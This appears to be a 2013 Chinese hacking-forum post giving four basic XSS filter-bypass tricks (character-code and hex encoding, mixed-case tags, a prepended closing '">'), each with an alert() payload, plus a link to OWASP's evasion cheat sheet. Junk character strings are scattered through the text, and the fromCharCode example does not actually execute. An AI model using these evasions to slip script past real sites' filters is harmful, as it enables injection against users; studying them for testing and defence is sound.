找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
/ N* R" p" v! w9 f+ r% C# @1.转换为ASCII码
7 g; N* y4 g, C, b) e$ k  h例子:原脚本为<script>alert(‘I love F4ck’)</script >$ ]3 V$ m: p/ |: I0 W( }2 H$ n3 ^. I
通过转换,变成:8 j; Z" {: p8 ^
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
! U; O% V& f) ?+ ? 3 }3 j+ `1 n: y4 T% K
2.转换为HEX(十六进制)
7 _. b/ J( j* X5 v) j- `0 p例子:原脚本为<script>alert(‘I love F4ck’)</script>
" Z5 i& o' V1 i7 I通过转换,变成:$ E% @: I: L. U+ Z$ ]2 z) ]
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e* a3 [$ R' U$ r" x& i
  \; L/ [- |2 ^) T# \5 Y  X
3.转换脚本的大小写
' C4 p, e& B3 g  H: x4 ^$ E例子:原脚本为<script>alert(‘I love F4ck’)</script>. b5 g* a3 ?  a4 {' a" J0 n. V; A2 |
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>% X1 R$ R! T' I# G) x! C" p

! Z: W: Y8 j4 g( d- z+ k4.增加闭合标记”>
; @% S8 Y1 y- ~例子:原脚本为<script>alert(‘I love F4ck’)</script>
% E  C' }1 B$ Y5 Y! s; Z1 M转换为:”><script>alert(‘I love F4ck’)</script>
) F! I" V; Z( ?. p; j更详细绕过技术请参考此网页
; c$ [; l5 O+ Z- h- B# A: Hhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
- E. T* K2 [& ~* ~
1 A% F. P( `. c6 i. B( `9 E* M/ S转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表